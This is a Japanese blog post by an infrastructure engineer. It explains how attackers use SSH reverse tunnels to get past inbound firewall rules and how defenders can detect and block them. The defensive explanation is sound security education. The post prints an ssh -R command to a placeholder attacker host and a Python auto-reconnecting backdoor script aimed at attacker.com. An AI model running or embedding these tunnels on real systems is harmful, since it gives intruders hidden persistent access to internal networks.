境界防御を無力化する「SSHリバーストンネル」の脅威と、現場で戦うための防衛線
こんにちは。ネットワークの暗部を覗き込み、現場の泥臭いトラブルシューティングを糧に生きているインフラエンジニアです。
今日は、多くの現場で「たかがSSH、されどSSH」と軽視されがちな、SSHリバースポートフォワーディングについて深掘りしましょう。外部からのインバウンド通信を徹底的に遮断している強固なファイアウォールも、この手口を使えば「まるで存在しないかのように」無力化されてしまいます。
攻撃者はなぜ、わざわざこの手法を選ぶのか？ そして、我々運用者はどうやってその「見えない道」を暴き出すべきか。現場の実践的な視点で解説します。
—
1. なぜ「逆方向」なのか：インバウンド防御の盲点
一般的なファイアウォールの運用では、外部から内部への接続（インバウンド）は厳格に制限されますが、内部から外部への接続（アウトバウンド）は比較的緩いケースが多いものです。
攻撃者はこの「非対称性」を突きます。社内サーバーに侵入した攻撃者は、外部の自前C2サーバー（Command & Control）に向けてSSHコネクションを確立し、その中で逆方向のトンネルを掘ります。これにより、ファイアウォールは「社内からの正当な通信」としか認識せず、攻撃者の待機する外部サーバーへ、内部リソースへの直接アクセスルートが開通してしまうのです。
基本的なシーケンス
1. 侵入: 脆弱性を突いて内部端末に侵入。
2. 接続: 侵入した端末から攻撃者サーバーへ ssh -R コマンドを発行。
3. トンネル: 攻撃者サーバー上の特定のポート（例えば 8080）への通信が、SSHトンネルを経由して内部の localhost:22 へ転送される。
4. 掌握: 攻撃者は外部から localhost:8080 に接続するだけで、ファイアウォールをバイパスして内部サーバーのSSHを直接叩けるようになる。
—
2. 実践：攻撃者が用いる「隠密的な」接続設定
実際に攻撃者がコマンドラインで実行する例を見てみましょう。彼らはログへの痕跡を残さないよう、様々なパラメーターを駆使します。
# 攻撃者のサーバー(1.2.3.4)へリバーストンネルを張るコマンド例
# -f: バックグラウンド実行
# -N: コマンドを実行せずトンネル専用にする
# -R: リバースフォワーディング設定
# -o ExitOnForwardFailure=yes: 失敗したら即終了（接続確認用）
ssh -f -N -R 8080:localhost:22 attacker@1.2.3.4 -p 22もし、あなたが開発しているAPIサーバーや踏み台サーバーから、このようなプロセスが ps aux で見つかったら、それは「即座にインシデント対応を開始すべき」赤信号です。
Pythonによる自動化（C2クライアントの挙動）
攻撃者は手動でコマンドを打つような野暮なことはしません。Pythonで自作のバックドアを仕込む場合、subprocess モジュールでSSHを呼び出し、常時接続を維持するコードを書きます。
import subprocess
import time
def maintain_tunnel():
# 接続が切れたら自動再接続するループ
while True:
try:
# 外部サーバーへリバーストンネルを構築
subprocess.run(["ssh", "-f", "-N", "-R", "8080:localhost:22", "user@attacker.com"], check=True)
break # 成功したらループを抜ける
except subprocess.CalledProcessError:
time.sleep(60) # 失敗したら1分待機してリトライ
if __name__ == "__main__":
maintain_tunnel()—
3. 防衛の最前線：いかにして検知し、封じ込めるか
この脅威に対する防御は、単なるパケットフィルタリングでは限界があります。以下の3層構造での監視を推奨します。
① EDR/ホストベースの監視
ネットワーク層で止めるのが難しい場合、ホスト側でプロセスの挙動を監視します。
sshプロセスが不自然な引数（-Rや-N）を持っていないか。- 親プロセスが
www-dataやapacheなどのWebサーバー実行ユーザーになっていないか。
② ネットワーク層での「異常な通信」の特定
SSHは本来「対話型」です。長期間張りっぱなしのSSHセッションは、それだけで異常値となります。
- NetFlow/IPFIX解析: 内部から外部への
22/tcp通信が数時間にわたって継続しているフローをアラート対象にする。 - TLS/SSH検査: 復号可能な環境であれば、SSHのペイロードを確認し、不自然なポート転送指示が含まれていないかを確認します。
③ ゼロトラスト的なアプローチ
そもそも「内部サーバーから外部へのSSH接続」を必要とする業務はどれだけありますか？
- Egressフィルタリングの徹底: サーバーVLANから外部への直接通信は、信頼できるプロキシサーバー（またはNAT GW）経由のみに絞り、SSH（
22/tcp）を許可リストから外すのが大原則です。
—
現場のシニアエンジニアからの助言
最後に一つ、トラブルシューティングの極意を。
「なぜか外部から内部への接続が成功している」という不可解な事象に遭遇したとき、多くのエンジニアはファイアウォールの設定ミスを疑います。しかし、その裏でSSHトンネルが生きている可能性を常に考慮してください。
「ネットワーク機器のログが全て正しいとは限らない。端末（エンドポイント）のプロセス状態こそが真実を語る。」
この視点を持つだけで、あなたのインシデント対応能力は飛躍的に向上します。教科書通りの防御に甘んじず、パケットが通る「穴」を常に疑い続けること。それが、今の複雑なネットワーク環境を守り抜くための唯一の道です。
次回は、より高度な回避技術である「HTTP CONNECTメソッドを用いたトンネリング」について解説します。現場で揉まれたい方は、ぜひまたお付き合いください。
コメント